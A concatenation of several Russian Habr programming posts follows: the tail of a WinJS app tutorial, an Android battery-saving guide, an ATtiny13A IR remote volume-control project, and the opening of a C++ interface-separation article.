Это разметка для отображения пользователя в списке. Специальным атрибутом (data-win-bind) указываются привязка к тому или иному свойству элемента, а также выражение для доступа к данным.
А для того чтоб произвести некоторые преобразования, например, для того, чтоб показать фотографию клиента можно указать конвертер:
src: this HabraWin.Converters.clientPhoto
```
; (function (winJs) {
'use strict';
var converters = {
clientPhoto: winJs.Binding.converter(function (client) {
if (!client || !client.hasPhoto)
return '/images/empty-photo.png';
return converters.baseAddress + '/clients/photos/' + client.ID;
})
};
winJs.Namespace.define('HabraWin', { Converters: converters });
})(WinJS);
```
Для того чтоб применить к темплейту данные достаточно:
```
WinJS.Binding.processAll(element, data);
```
Контролы
========
Создание контрола в WinJS очень похоже на создание класса. Например, форма HabraWin.ClientSearchForm:
```
```
**Код для обслуживания событий и элементов управления формы**; (function (winJs) {
'use strict';
var searchForm = winJs.Class.derive(HabraWin.BaseForm, winJs.Utilities.defaultControlConstructor(), {
init: function (element, options) {
var me = this;
me.initProperies();
me.clearForm();
me.defineElements(element);
me.defineEvents();
me.subscribe();
me.setValues(options);
me.search();
},
defineElements: function (element) {
var me = this;
me.fields = {
secondName: element.querySelector('input[name=secondName]')
};
me.buttons = {
clear: element.querySelector('button[name=clear]')//,
};
var values = this.getValues();
this.oldValues = JSON.stringify(values);
},
defineEvents: function () {
var me = this;
me.buttons.clear.addEventListener('click', me.clearAndSearch.bind(me));
},
setValues: function (values) {
if (!values) {
return;
}
this.changedFields = [];
for (var lbl in values)
if (values.hasOwnProperty(lbl) && this.fields.hasOwnProperty(lbl)) {
var field = this.fields[lbl];
var value = values[lbl];
var valPropName = field && ('type' in field) && field.type === 'checkbox' ? 'checked' : (field && 'value' in field ? 'value' : 'current');
if (!field) {
continue;
}
field[valPropName] = value;
value && this.changedFields.push(lbl);
}
},
subscribe: function () {
var me = this;
for (var lbl in this.fields)
if (this.fields.hasOwnProperty(lbl)) {
var field = this.fields[lbl];
var isTextField = 'value' in field;
field.addEventListener(isTextField ? 'keydown' : 'change', me.fieldChanged.bind(me));
field.addEventListener(isTextField ? 'keydown' : 'change', isTextField ? me.search.bind(me).defer(1000) : me.search.bind(me));
if (isTextField) {
['cut', 'paste', 'change'].forEach(function (e) {
field.addEventListener(e, me.fieldChanged.bind(me));
});
}
}
winJs.bus.addEventListener('clear-command', me.clearAndSearch.bind(me));
},
clearAndSearch: function () {
this.clearForm();
this.search();
},
addNewClient: function () {
var values = this.getValues();
winJs.Navigation.navigate("/pages/section/section.html", values);
},
getValues: function () {
var me = this;
var values = {};
this.changedFields.forEach(function (lbl) {
values[lbl] = me.getValue(lbl);
});
return values;
},
search: function () {
var values = this.getValues();
winJs.bus.dispatchEvent('search-client', values);
this.oldValues = JSON.stringify(values);
},
clearForm: function () {
var me = this;
var fields = Array.prototype.slice.call(me.element.querySelectorAll('input[type=text],select'), 0);
fields.forEach(function (e) {
e.value = '';
});
var current = new Date();
me.fields && me.fields.birthday && (me.fields.birthday.current = new Date(current.setYear(current.getFullYear() - 24)));
this.changedFields = [];
},
fieldLabel: function (field) {
return field && (field.getAttribute('name') || field.id);
},
fieldChanged: function (e) {
var field = e && e.currentTarget;
var lbl = this.fieldLabel(field);
if (!(lbl in this.fields))
return;
var value = this.getValue(lbl);
if (!value) {
this.changedFields.remove(lbl);
return;
}
if (this.changedFields.indexOf(lbl) === -1) {
this.changedFields.push(lbl);
}
},
initProperies: function () {
}
});
winJs.Namespace.define('HabraWin', {
ClientSearchForm: searchForm
});
})(WinJS);
Promise на примере Share
========================
Если вы пользовались api для асинхронных вызовов, например, XmlHttpRequest и вам надо было выполнить цепочку зависимых друг от друга вызовов, то вы обращали внимание на то что такую цепочку вызовов сложно поддерживать, т.е. читать и изменять в первую очередь из-за вложенности. Я знаю два паттерна, которые могут избавить от вложенности: события или promise.
Например, объединение последовательных вызовов:
```
share: function(e) {
var request = e.request;
var deferral = request.getDeferral();
var offering = this.offering;
var files = [];
var me = this;
var text = offering.description.replace(/<[^>]+>/gim, '').replace(/ [\s]+/, ' ');
// запускаем асинхронную операцию:
this.fileListControl.selection.getItems()
.then(function (items) {
// собираем доступные файлы, тоже асинхронно
return items.map(function (item) {
var uri = new Windows.Foundation.Uri(item.data.uri);
return Windows.Storage.StorageFile.getFileFromApplicationUriAsync(uri)
.then(function (storageFile) {
files.push(storageFile);
});
});
}).then(function (promises) {
// соединяем все операции, чтоб работать с их результатами
return WinJS.Promise.join(promises);
}).done(function () {
// формируем пакет данных для того чтоб поделиться ими с другими приложениями
request.data.properties.title = offering.name;
request.data.properties.description = text;
if (files.length)
request.data.setStorageItems(files);
else
me.articlePackage(request.data);
deferral.complete();
});
},
```
Доступ к данным — DataSource
============================
Для визуализации данных можно использовать WinJs.UI.ListView. Например, этот замечательный контрол умеет загружать данные не все сразу, а по мере необходимости отображать. Что бережет ресурсы при отображении более сотни записей. Но для этого необходимо реализовать свой DataSource с поддержкой загрузки данных постранично.
**Пример кода DataSource для постраничной загрузки пользователей**; (function (winJs, console) {
'use strict';
var clientSearchDataAdapter = winJs.Class.define(winJs.Utilities.defaultConstructor(), {
def: {
maxCount: 300,
maxPageSize: 50,
minPageSize: 50
},
init: function (options) {
this.cache = {};
this.\_filter = null;
this.dataSource = options.dataSource;
},
condition: {
get: function () {
return this.\_filter;
},
set: function (value) {
this.\_filter = value;
this.dataSource && this.dataSource.invalidateAll && this.dataSource.invalidateAll();
return value;
}
},
getQuery: function () {
var me = this;
return new HabraWin.ProxyBuilder('client').then(function (proxy) {
return proxy.search(me.condition);
});
},
getCount: function () {
var me = this;
var cacheKey = JSON.stringify(me.condition);
if (cacheKey in this.cache)
return WinJS.Promise.wrap(me.cache[cacheKey].length);
var query = me.getQuery();
var i = 0;
return query
.then(function (clients) {
me.cache[cacheKey] = clients.map(function (item) {
return {
key: '' + (i++),
data: item,
groupKey: item.secondName.length > 0 ? item.secondName.substring(0, 1).toUpperCase() : '-'
};
});
var filtered = me.applyFilters({ items: clients, offset: 0, totalCount: clients.length });
return filtered.items.length;
});
},
addFilter: function (filter) {
this.filters = this.filters || [];
this.filters.push(filter);
},
applyFilters: function (result) {
if (!this.filters || !this.filters.length)
return result;
var me = this;
this.filters.forEach(function (filter) {
result = filter(result, me.condition);
});
return result;
},
itemsFromIndex: function (requestIndex, countBefore, countAfter) {
var me = this;
if (requestIndex >= me.options.maxCount) {
return winJs.Promise.wrapError(new winJs.ErrorFromName(winJs.UI.FetchError.doesNotExist));
}
var fetchSize, fetchIndex;
if (countBefore > countAfter) {
countAfter = Math.min(countAfter, 10);
var fetchBefore = Math.max(Math.min(countBefore, me.options.maxPageSize - (countAfter + 1)), me.options.minPageSize - (countAfter + 1));
fetchSize = fetchBefore + countAfter + 1;
fetchIndex = requestIndex - fetchBefore;
} else {
countBefore = Math.min(countBefore, 10);
var fetchAfter = Math.max(Math.min(countAfter, me.options.maxPageSize - (countBefore + 1)), me.options.minPageSize - (countBefore + 1));
fetchSize = countBefore + fetchAfter + 1;
fetchIndex = requestIndex - countBefore;
}
var cacheKey = JSON.stringify(me.condition);
var result = function () {
var cache = me.cache[cacheKey];
var items = cache.slice(fetchIndex, fetchIndex + fetchSize);
var offset = requestIndex - fetchIndex;
var totalCount = Math.min(cache.length, me.options.maxCount);
var r = {
items: items,
offset: offset,
totalCount: totalCount,
};
var filtered = me.applyFilters(r);
return filtered;
};
if (cacheKey in me.cache) {
return WinJS.Promise.wrap(result());
}
var query = me.getQuery();
return query
.then(function (items) {
var i = 0;
me.cache[cacheKey] = items.map(function (item) {
return {
key: '' + (fetchIndex + i++),
data: item,
groupKey: item.secondName.length > 0 ? item.secondName.substring(0, 1).toUpperCase() : '-'
};
});
return result();
});
}
});
var clientsDataSource = winJs.Class.derive(winJs.UI.VirtualizedDataSource, function (condition) {
var dataAdapter = new clientSearchDataAdapter({
dataSource: this
});
this.setCondition = function (cond) {
dataAdapter.condition = cond;
};
this.addFilter = function (filter) {
dataAdapter.addFilter(filter);
};
this.\_baseDataSourceConstructor(dataAdapter);
this.setCondition(condition);
});
winJs.Namespace.define('HabraWin.DataSources', {
ClientSearch: clientsDataSource
});
})(WinJS, console);
Tile
====
В Win8 есть замечательная возможность для приложений, которые пользователь добавил себе на стартовую панель, показывать наиболее ценную информацию в тот или иной момент.
В примере ниже я использую темплейт TileWideSmallImageAndText03, [все возможные варианты темплейтов можно увидеть на msdn](http://msdn.microsoft.com/library/windows/apps/windows.ui.notifications.tiletemplatetype)
Пример кода для обновления tile-ов:
```
; (function(winJs, ui, dom) {
winJs.Namespace.define('HabraWin', {
Tile: {
// создаём xml для tile-а
wideSmallImageAndText03: function(img, text) {
var tileXmlString = ''
+ ''
+ ''
+ '' + text + ''
+ ''
+ '';
var tileDom = new dom.XmlDocument();
tileDom.loadXml(tileXmlString);
// делаем из xml сообщение
return new ui.Notifications.TileNotification(tileDom);
},
baseUrl: '',
// обновление tile-ов для приложения
updateTile: function() {
var tileUpdateManager = ui.Notifications.TileUpdateManager.createTileUpdaterForApplication();
var me = this;
var mesageAccepted = WinJS.Resources.getString('tileMessageAccepted').value;
var mesageDenied = WinJS.Resources.getString('tileMessageDenied').value;
tileUpdateManager.clear();
tileUpdateManager.enableNotificationQueue(true);
[
{ Creator: { ID: '30BD3259-EF01-4ebb-ACEE-5065EB2885E1', Photo: true }, Description: mesageAccepted },
{ Creator: { ID: 'A2021DFE-1271-41d1-9A90-A64039A8A5E6', Photo: true }, Description: mesageDenied }
].forEach(function(comment) {
var img = (comment.Creator && comment.Creator.Photo && (me.baseUrl + '/clients/photos/' + comment.Creator.ID)) || 'appx:///images/empty.png';
var text = (comment.Description) || '...';
var tile = me.wideSmallImageAndText03(img, text);
tileUpdateManager.update(tile);
});
}
}
});
})(WinJS, Windows.UI, Windows.Data.Xml.Dom);
``` | https://habr.com/ru/post/216135/ | null | ru | null |
# Оптимизация расхода батареи
#### Введение
В этой статье приводится несколько советов по оптимизации расхода батареи приложениями.
Отключая фоновые сервисы обновлений при потере соединения или уменьшая частоту обновлений при низком уровне заряда батареи можно существенно минимизировать влияние работы приложения на батарею.
Некоторые фоновые сервисы (загрузка из сети обновлений или контента приложения, сложные расчеты и т.д.) целесообразно отключать или снижать частоту их запуска при низком уровне заряда батареи. Для подобных действий важно принимать во внимание несколько факторов, как, например, текущее состояние зарядки устройства, наличие подключенной док-станции или наличие соединения с сетью. Ниже представлены способы получения этих значений и мониторинга их изменений.
#### Текущее состояние зарядки
Класс [BatteryManager](https://developer.android.com/reference/android/os/BatteryManager.html) рассылает информацию об уровне и состоянии заряда батареи в соответствующем интенте. При этом можно зарегистрировать BroadcastReceiver и своевременно получать информацию о состоянии батареи. А можно получить эти данные единоразово без регистрации receiver'a:
```
IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
Intent batteryIntent = context.registerReceiver(null, ifilter);
```
Из полученного интента берется информацию о текущем уровне заряда батареи, о состоянии зарядки, а также о том идет зарядка от сети переменного тока (AC) или usb:
```
public void getBatteryStatus(Intent batteryIntent) {
// Заряжается ли батарея (или уже заряжена) ?
int status = batteryIntent.getIntExtra(BatteryManager.EXTRA_STATUS, -1);
boolean isCharging = status == BatteryManager.BATTERY_STATUS_CHARGING ||
status == BatteryManager.BATTERY_STATUS_FULL;
//Каким образом проходит зарядка?
int chargePlug = batteryIntent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
boolean usbCharge = chargePlug == BatteryManager.BATTERY_PLUGGED_USB;
boolean acCharge = chargePlug == BatteryManager.BATTERY_PLUGGED_AC;
}
```
Обычно стоит повысить до максимума частоту фоновых апдейтов приложения, если устройство заряжается от сети переменного тока, снизить если зарядка идет через usb и сделать минимальной если устройство вообще не находится в состоянии зарядки.
В том же случае, когда необходимо мониторить состояние зарядки устройства, следует зарегистрировать в манифесте приложения BroadcastReceiver, который будет получать сообщения о подключении/отключении зарядного устройства. В intent-filter при этом необходимо добавить [ACTION\_POWER\_CONNECTED](https://developer.android.com/reference/android/content/Intent.html#ACTION_POWER_CONNECTED) и [ACTION\_POWER\_DISCONNECTED](https://developer.android.com/reference/android/content/Intent.html#ACTION_POWER_DISCONNECTED):
```
```
```
public class PowerConnectionReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
getBatteryStatus(intent);
}
}
```
#### Текущий заряд батареи
Текущий относительный заряд батареи можно вычислить из значений текущего заряда и максимального заряда:
```
int level = battery.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
int scale = battery.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
float batteryPct = level / (float)scale;
```
Стоит упомянуть, что регулярный мониторинг состояния батареи является ресурсозатратным для самой батареи. Поэтому рекомендуется мониторить только определенные изменения в уровне заряда, а именно уровень низкого заряда:
```
```
Хорошей практикой является отключение всех фоновых обновлений или вычислений, когда уровень заряда батареи становится низким.
#### Состояние и тип док-станции
Существует большое количество док-станций для Android устройств. Например, док-станция в автомобиле или док-клавиатура у Asus Transformer. При этом большинство док-станций заряжают само устройство.
Получить информацию о типе и состоянии док-станции можно из action'a [ACTION\_DOCK\_EVENT](https://developer.android.com/reference/android/content/Intent.html#ACTION_DOCK_EVENT). Ее можно получить единоразово:
```
IntentFilter ifilter = new IntentFilter(Intent.ACTION_DOCK_EVENT);
Intent dockIntent = context.registerReceiver(null, ifilter);
```
либо подписаться на оповещения, добавив в манифесте BroadcastReceiver и указав action:
```
```
Информация о док-станции получается следующим образом:
```
public void getDockStatus(Intent dockIntent) {
//определение подключения к доку
int dockState = dockIntent.getIntExtra(Intent.EXTRA_DOCK_STATE, -1);
boolean isDocked = dockState != Intent.EXTRA_DOCK_STATE_UNDOCKED;
//определение типа дока
boolean isCar = dockState == Intent.EXTRA_DOCK_STATE_CAR;
boolean isDesk = dockState == Intent.EXTRA_DOCK_STATE_DESK ||
dockState == Intent.EXTRA_DOCK_STATE_LE_DESK ||
dockState == Intent.EXTRA_DOCK_STATE_HE_DESK;
}
```
Значения [EXTRA\_DOCK\_STATE\_HE\_DESK](http://developer.android.com/reference/android/content/Intent.html#EXTRA_DOCK_STATE_HE_DESK) и [EXTRA\_DOCK\_STATE\_LE\_DESK](http://developer.android.com/reference/android/content/Intent.html#EXTRA_DOCK_STATE_LE_DESK) появились только с API версии 11.
#### Статус соединения с сетью
Перед выполнением фоновых обновлений приложения или длительных загрузок из сети стоит проверять наличие соединения и его примерную скорость. Для этого можно воспользоваться классом [ConnectivityManager](https://developer.android.com/reference/android/net/ConnectivityManager.html).
Определение подключения к интернету:
```
ConnectivityManager cm =
(ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo activeNetwork = cm.getActiveNetworkInfo();
boolean isConnected = activeNetwork.isConnectedOrConnecting();
```
Также иногда стоит определять тип текущего соединения перед началом загрузок. Это бывает важно, т.к. скорость соединения у мобильного интернета обычно ниже, чем у Wi-Fi, а цена траффика выше.
```
boolean isWiFi = activeNetwork.getType() == ConnectivityManager.TYPE_WIFI;
```
Подписаться на оповещения изменения состояния соединения можно добавив в манифест BroadcastReceiver указав ему соотвествующий action:
```
```
Так как подобные изменения могут происходить довольно часто, хорошей практикой является мониторить эти оповещения только в случае когда обновления или загрузки были отключены ранее. Обычно достаточно проверить наличие соединения перед началом обновлений и в случае, когда соединение отсутствует подписаться на оповещения.
#### Включение/выключение оповещений
Оповещения о состоянии батареи, док-станции и наличии соединения не рекомендуется постоянно держать включенными, т.к. они будут пробуждать устройство слишком часто. Лучшим решением будет включать оповещения только по необходимости.
Класс [PackageManager](https://developer.android.com/reference/android/content/pm/PackageManager.html) позволяет изменять состояние элементов объявленных в манифесте, в том числе включать/выключать BroadcastReceiver'ы:
```
ComponentName receiver = new ComponentName(context, CustomReceiver.class);
PackageManager pm = context.getPackageManager();
pm.setComponentEnabledSetting(receiver,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
```
С помощью подобной техники можно, например, при обрыве соединения оставлять включенным только оповещение об изменениях состояния сети. При появлении соединения можно отключать оповещения об изменениях сети и только проверять наличие соединения в текущий момент.
Подобной техникой также можно пользоваться чтобы отложить загрузку данных из сети до тех пор пока не будет соединения с большей пропускной способностью, например Wi-Fi.
Статья является свободным переводом набора советов из программы [Android Training](https://developer.android.com/training/monitoring-device-state/index.html) по оптимизации расхода заряда батареи приложениями. | https://habr.com/ru/post/134828/ | null | ru | null |
# Дистанционное управление громкостью IP TV приставки при помощи Attiny13A
Как-то мне позвонили из Ростелекома и предложили подключить IP TV. Ну что же, решил я, пусть жена с сыном смотрят в спальне мультики и согласился. И вот принесли мне заветную коробочку. Т.к. отдельного телевизора для неё у меня нет, то решил я значит подключить её к старому монитору, через переходник HDMI-VGA. Для звука у меня были старые компьютерные колонки. Решено — сделано. Всё прекрасно завелось с одним но: с пульта, который шёл в комплекте с приставкой, невозможно регулировать громкость звука. Как так то? Честно сказать никогда с таким не сталкивался. Особо я в причинах не разбирался, но вроде как пульт от Ростелекома прописывается в телевизоре, так что с пульта меняется громкость на самом телевизоре, а не на выходе из приставки. Удобно? Конечно, если подключить приставку к современному телевизору. А вот вставать с кровати и крутить крутилку на колонках каждый раз, когда нужно поменять громкость — неудобно. Решением этого вопроса и займёмся. Соберём отдельное устройство, которое будет регулировать громкость на наших колонках по сигналу с пульта.
Для начала давайте посмотрим, что за сигналы у нас генерирует пульт при нажатии кнопок "громкость вверх", "громкость вниз" и "mute". В качестве приёмника сигналов с пульта я использовал VS1838B.
Это удобный приёмник, т.к. он уже демодулирует 38кГц инфракрасный сигнал от пульта.
Оказалось, что указанные выше кнопки, генерируют два вида сигнала попеременно. Сначала один вариант, при следующем нажатии другой вариант. На рисунке показан один из вариантов сигнала при нажатии кнопки "mute". Сигналы считывал при помощи логического анализатора.
Время между пакетами импульсов около 100 мс. Каждый пакет состоит из 24-х изменений уровня сигнала. Длительность короткого импульса (низкого и верхнего уровней) около 900 мкс, а длительность длинного импульса (также как низкого, так и верхнего уровней) около 1800 мкс. Обозначим короткий импульс нулём, а длинный единицей, тогда полученные наблюдения можно свести в таблицу:
*Таблица 1. Сигналы нажатий кнопок от пульта ТВ приставки.*
| | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Громкость вверх 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| Громкость вверх 2 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| Громкость вниз 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
| Громкость вниз 2 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
| Mute 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 |
| Mute 2 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 |
Теперь нужно выбрать техническую реализацию изменения громкости. Физически громкость в моих колонках меняется при помощи крутилки на корпусе, а крутилка вращает сдвоенный потенциометер на 50К. Т.е. вращением ручки громкости мы как бы одновременно вращаем два переменных резистора, где один отвечает за громкость левого канала, а другой — за громкость правого. Для удалённого регулирования громкости нам потребуется "ручной" сдвоенный потенциометр заменить на два электронных. У меня завалялась пара X9C103P. Это электронный потенциометр на 10 К. Я глянул в даташит микросхемы, на которой построен усилитель моих колонок, и оказалось, что 10К для потенциометра для неё тоже нормально. Поэтому будем использовать эти микросхемы.
Принимать сигналы с пульта будет вышеупомянутый ИК приёмник VS1838B. Осталось разобраться с управляющей электроникой. Я быстро набросал скетч на ардуино, который детектировал сигналы с пульта, но потом подумал, что это будет не так интересно. Во первых, готовое устройство получится громадным, а во вторых, захотелось попробовать более интересное программирование. И я выбрал Attiny13A. Преимущества: размер микроконтроллера с четверть ногтя, очень дешёвый. Недостатки: всего 1кб флэш памяти и 64 байта SRAM. Для сравнения в ардуине (Atmega 328) 32кБ флэш и 2кБ SRAM.
Чтобы уместить в очень ограниченную память паттерны, обозначенные в таблице выше, надо эти данные как-то сокращать. Если в прототипе на ардуино я прямо создавал массивы с временами длительности импульса, например:
```
const unsigned long UP1_DATA[] = {860, 900, 1750, 900, 860, 900, 860, 900, 860, 900, 860, 900, 860, 900, 860, 1750, 1750, 900, 860, 900, 860, 900, 860};
```
То, в attiny такой фокус не пройдёт. В идеале нужно уместить паттерн для одного варианта сигнала в один байт. И как видно из таблицы — это не такая сложная задача, т.к. в ней в основном нули. А именно: первые два столбца, столбцы с 6-го по 15-ый, 19-ый и 20-ый и последний столбец — нули. Не будем их записывать в память микроконтроллера. Ещё нулевой столбец — четвёртый. Оставим его. В итоге получим ровно 8 бит на один сигнал (таблица 2).
*Таблица 2 — сокращённый вариант таблицы 1*
| | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Громкость вверх 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 |
| Громкость вверх 2 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 |
| Громкость вниз 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 |
| Громкость вниз 2 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 1 |
| Mute 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 |
| Mute 2 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 |
В коде это выглядит так:
```
#define UP1_DATA 0b00011001
#define UP2_DATA 0b00011100
#define DOWN1_DATA 0b10011100
#define DOWN2_DATA 0b10011001
#define MUTE_ON_DATA 0b11100100
#define MUTE_OFF_DATA 0b11100001
```
Но теперь нужно восстановить полный набор данных. Напишем функцию, которая будет возвращать ожидаемую длительность импульса (низкого или верхнего уровней) в зависимости от его номера. Полученный результат будем сравнивать с фактической длительностью полученного импульса от приёмника ИК сигналов. Таким образом, сможем определить какая кнопка была нажата.
Время на нашем микроконтроллере будем измерять по прерыванию переполнения единственного таймера. В нём будем инкрементировать счётчик \_timer:
```
volatile unsigned long _timer = 0;
ISR(TIM0_OVF_vect)
{
_timer++;
}
```
Максимальная частота Attiny13A 9,6 МГц. Прерывание случается каждые 256 тактов, значит за одну секунду происходит 37500 прерываний по переполнению таймера. Чтобы отмерить 900 мкс нам нужно отсчитать примерно 33 прерывания, а чтобы отмерить 1800 мкс нужно примерно 67 прерываний. Как видно, частоты 9,6 МГц с запасом хватает, чтобы детектировать сигнал с пульта от ТВ приставки.
**Функция getExpectedTime, которая возвращает ожидаемую длительность импульса в зависимости от порядкового номера текущего импульса, поступившего с приёмника**
```
#define SHORT_TIME 33UL
#define LONG_TIME 67UL
uint8_t _counter = 0;
unsigned long getExpectedTime(uint8_t data)
{
uint8_t index;
if (_counter >= 2 && _counter <= 4)
{
index = _counter - 2;
}
else if (_counter >= 15 && _counter <= 17)
{
index = _counter - 12;
}
else if (_counter >= 20 && _counter <= 21)
{
index = _counter - 14;
}
else
{
return SHORT_TIME;
}
if (data & (1 << index)) return LONG_TIME;
return SHORT_TIME;
}
```
Переменная \_counter глобальная — инкрементируется после изменения уровня сигнала на ИК приёмнике. Параметр data — это один из 6 паттернов сигналов: UP1\_DATA, UP2\_DATA, DOWN1\_DATA, DOWN2\_DATA, MUTE\_1\_DATA, MUTE\_2\_DATA.
Т.е. задача сводится к тому, чтобы микроконтроллер реагировал на изменение уровня сигнала с ножки ИК приёмника, вычислял длительность сигнала (низкого или высокого уровня) и при помощи функции getExpectedTime определял совпадает ли реальная длительность с ожидаемой. Если набирается один из паттернов кнопочных сигналов — значит соответствующая кнопка и была нажата.
Длительность импульсов будем вычислять в прерывании
```
volatile bool _hasPulse = false;
volatile unsigned long _RXPreviousTime = 0;
volatile unsigned long _pulseDuration = 0;
ISR(INT0_vect)
{
_pulseDuration = _timer - _RXPreviousTime;
_RXPreviousTime = _timer;
_hasPulse = true;
_rxPinStatus = !!(PINB & (1 << RX_PIN)); //Аналог digitalRead на Ардуино.
}
```
Итак,
**Функция incrementCounter, которая возвращает номер нажатой кнопки**
```
#define SIZE_OF_PATTERNS 6
#define PAUSE_TIME 375UL //10000 мкс
#define HAS_PATTERN_START 0b00111111
#define ERROR_VALUE 19UL
#define SIZE_OF_DATA 23
#define UP1_BT 0
#define UP2_BT 1
#define DOWN1_BT 2
#define DOWN2_BT 3
#define MUTE_ON_BT 4
#define MUTE_OFF_BT 5
//Индекс паттернов в массиве должен быть в соответствии со значениями: UP1_BT, UP2_BT, DOWN1_DATA, DOWN2_DATA, MUTE_ON_BT, MUTE_OFF_BT
const uint8_t PATTERNS[] = {UP1_DATA, UP2_DATA, DOWN1_DATA, DOWN2_DATA, MUTE_ON_DATA, MUTE_OFF_DATA};
uint8_t _hasPattern = HAS_PATTERN_START;
//Если паттерн получен полностью, то возвращаем номер кнопки в массиве PATTERNS.
uint8_t incrementCounter() //Если паттерн получен полностью, то возвращаем номер кнопки в массиве PATTERNS.
{
if (_pulseDuration > PAUSE_TIME)
{
_counter = 0;
_hasPattern = HAS_PATTERN_START;
return 255;
}
if (_hasPattern)
{
unsigned long eTime;
for (uint8_t i = 0; i < SIZE_OF_PATTERNS; i++)
{
if (_hasPattern & (1 << i)) //Если раньше шаблон совпадал.
{
eTime = getExpectedTime(PATTERNS[i]);
if (!((_rxPinStatus ^ !!(_counter % 2)) && _pulseDuration >= eTime - ERROR_VALUE && _pulseDuration <= eTime + ERROR_VALUE)) //Шаблон не совпадает.
{
_hasPattern &= ~(1 << i);
}
}
}
_counter++;
if (_counter == SIZE_OF_DATA)
{
if (_hasPattern) //Какая-то кнопка совпала
{
switch (_hasPattern)
{
case 1: return UP1_BT;
case 2: return UP2_BT;
case 4: return DOWN1_BT;
case 8: return DOWN2_BT;
case 16: return MUTE_ON_BT;
case 32: return MUTE_OFF_BT;
default: return 255;
}
}
else
{
return 255;
}
}
else
{
return 255; //Пока никакая кнопка не совпала
}
}
else
{
return 255; //Никакая кнопка не совпала
}
}
```
В этой функции переменная \_hasPattern — это байт, первые шесть бит которого соответствует одному из шести вариантов кнопок. Изначально биты для всех кнопок равны 1. По мере получения сигналов с ИК-приёмника, если паттерн для заданной кнопки нарушается, то соответствующий бит сбрасывается в 0. В конце должен остаться только один ненулевой бит, если совпал какой-либо паттерн. По положению этого бита определяем какая кнопка была нажата и возвращаем её номер в массиве PATTERNS.
Теперь остаётся только сделать мигание светодиода при получении сигналов с пульта, и управление микросхемой X9C103P.
Размер итоговой прошивки получился 1020 байт из 1024 доступных, прямо тютелька в тютельку, с учётом включённой оптимизацией по размеру (-Os). Полный код доступен в репозитории на [GitHub](https://github.com/Mendeo/RostelekomSound). При разработке использовалась плата ардуино UNO, т.к. отлаживать в ней код проще, чем в Attiny13A. Также на другой плате ардуино UNO был собран эмулятор сигналов пульта, опять-таки для отладки. Все скетчи также есть в репозитории.
Физическая реализация устройства была выполнена на печатной плате (см рисунок), изготовленной при помощи ЛУТ на однослойном текстолите.
[](https://habrastorage.org/webt/9x/_j/pz/9x_jpzrkkmlkwmffhme_7_ot6ew.jpeg)
Внутри колонок производится питание 9 вольт, что много для нашего микроконтроллера, поэтому снизим напряжение при помощи линейного преобразователя 78L05.
Всего к устройству подводится от колонок 8 проводов: 3 на один потенциометр, 3 на другой и два для питания. Очень удобно для этих целей использовать сетевой UTP кабель, в котором как раз 8 проводников. Теперь, вместо ручки громкости из колонок будет выходить сетевой кабель с нашим устройством на конце.
[](https://habrastorage.org/webt/96/j4/gx/96j4gx2p-rxudz4hfqaekioxr0c.jpeg)
Фото готового устройства:
[](https://habrastorage.org/webt/fj/hg/gm/fjhggm2slemv_wb4mb_-azq08ig.jpeg)
[](https://habrastorage.org/webt/gl/ow/au/glowauso2bmlialjjpkes8zb4fe.jpeg)
Опыта разводки и изготовления печатных плат у меня очень мало, поэтому, конечно, я накосячил и перепутал контакты ИК-приёмника. Хорошо, что GND посередине, получилось просто развернуть сам приёмник. Исходник уже поправил. И да, smd резистора на 100 Ом я у себя не нашёл, решил временно поставить обычный.
От изготовления корпуса для устройства пока отказался, просто покрыл плату акриловым лаком.
Ну и видео работы: | https://habr.com/ru/post/524592/ | null | ru | null |
# Разделяем интерфейс и реализацию в функциональном стиле на С++
Разделяем интерфейс и реализацию в функциональном стиле на С++
В языке С++ для разделения объявлений структур данных (классов) используются заголовочные файлы. В них определяется полная структура класса, включая приватные поля.
Причины подобного поведения описаны в замечательной книге «Дизайн и эволюция C++» Б.Страуструпа.
Мы получаем внешне парадоксальную ситуацию: изменения в закрытых приватных полях класса требует перекомпиляции всех единиц трансляции (.cpp файлов), использующих лишь внешний интерфейс класса. Конечно, причина этого кроется в необходимости знать размер объекта при инстанцировании, но знание причины проблемы не решает саму проблему.
Попытаемся использовать мощь современного С++, чтобы побороть этот недостаток. Заинтереснванных прошу под кат.
1. Введение
-----------
